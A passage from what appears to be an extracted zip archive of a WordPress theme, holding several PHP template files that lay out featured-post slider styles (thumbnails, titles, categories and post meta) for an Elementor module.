						<?php if ( $settings['cspost_enable'] || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount ): ?>
                            <div class="featured-content-excerpt">
								<?php if ( ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
								<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
									<?php
									if ( get_theme_mod( 'penci_excerptcharac' ) ) {
										the_excerpt();
									} else {
										$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
										penci_the_excerpt( $excerpt_length );
									}
									?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="penci-featured-slider-button">
                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                        </div>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     1w\rm    =  elementor/modules/penci-featured-sliders/widgets/style-17.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$sizep = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$sizep                 = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( $i % 5 == 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\)ݵj  j  =  elementor/modules/penci-featured-sliders/widgets/style-26.phpnu [        <?php
/**
 * Template part for Slider Style 26
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;

				$thumb_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\)    =  elementor/modules/penci-featured-sliders/widgets/style-23.phpnu [        <?php
/**
 * Template part for Slider Style 23
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();

				$thumb = $post_thumb_size;
				if ( $i % 6 == 1 || $i % 6 == 2 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 6 == 1 || $i % 6 == 2 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 6 ); ?> <?php echo( ( $i % 6 == 1 || $i % 6 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 6 == 1 || $i % 6 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 6 == 1 || $i % 6 == 2 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 6 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\0    =  elementor/modules/penci-featured-sliders/widgets/style-25.phpnu [        <?php
/**
 * Template part for Slider Style 25
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>  <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\1  1  =  elementor/modules/penci-featured-sliders/widgets/style-19.phpnu [        <?php
/**
 * Template part for Slider Style 19
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $bpost_thumb_size;
				$sizep = 'small';
				if ( $i % 4 == 2 || $i % 4 == 3 ): $thumb = $post_thumb_size;
					$sizep                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 2 || $i % 4 == 3 ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
